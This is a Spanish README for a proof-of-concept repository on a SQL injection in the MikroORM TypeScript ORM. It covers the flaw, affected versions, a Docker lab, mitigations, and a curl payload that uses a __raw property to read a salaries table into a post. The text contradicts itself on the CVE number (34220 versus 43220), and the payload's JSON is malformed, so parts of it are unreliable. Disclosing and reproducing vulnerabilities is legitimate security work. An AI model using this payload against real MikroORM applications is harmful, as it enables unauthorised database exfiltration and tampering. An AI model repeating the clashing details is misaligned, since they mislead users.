
CVE-2026-34220 — Actualizado!
Vulnerabilidad de inyección SQL en MikroORM
CVE-2026-43220 Inyección SQL en MikroORM
★ PoC de Inyección SQL en MikroORM CVE-2026-43220 ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
Descripción general
CVE-2026-43220 es una vulnerabilidad de Inyección SQL en MikroORM, un framework ORM para TypeScript/Node.js ampliamente utilizado.
Cuando un valor proporcionado por el usuario que contiene una propiedad__rawse pasa a una columna de tipo personalizado sin validación, la comprobaciónisRaw()de MikroORM lo identifica como una expresión SQL Raw interna de confianza e inserta el valorsqlcontrolado por el atacante directamente en la consulta generada sin conversión de tipo ni saneamiento, provocando la ejecución no intencionada de SQL arbitrario.
Versiones afectadas
| Categoría | Versión |
|---|---|
| Vulnerable | MikroORM versión ≤ 6.4.3 & 7.0.0 ≤ versión ≤ 7.0.5 |
| Parcheada | MikroORM 6.4.4 & 7.0.6 |
Impacto
- Exfiltración de datos sensibles de la base de datos sin autorización
- Corrupción o modificación no intencionada de registros existentes en la base de datos
Entorno
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
PoC
Tras iniciar el entorno vulnerable, siga los pasos a continuación para reproducir el ataque.
Paso 1. Enviar una solicitud con un payload malicioso que contenga __raw
Envíe un cuerpo JSON que incluya una propiedad __raw dirigida a una columna de tipo personalizado.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Paso 2. Comprobar la respuesta HTTP
Verifique que la API devuelve una respuesta exitosa sin ningún error, lo que indica que MikroORM aceptó el payload malicioso como un valor válido.
Paso 3. Confirmar que los datos sensibles se exfiltran en el contenido de la publicación
Verifique que el campo content de la publicación creada contiene el resultado de la consulta
de la tabla salaries (p. ej., Alice: 5000 / Bob: 7000 / ...),
lo que confirma que datos de una tabla no relacionada se han incrustado silenciosamente
en la respuesta sin ningún error ni violación de control de acceso.
Mitigación
- Actualice a MikroORM 6.4.4 o posterior, que introduce la verificación de origen en
isRaw()para rechazar propiedades__rawproporcionadas externamente - Aplique validación de entrada basada en listas blancas para rechazar propiedades inesperadas como
__rawantes de pasar valores a la capa ORM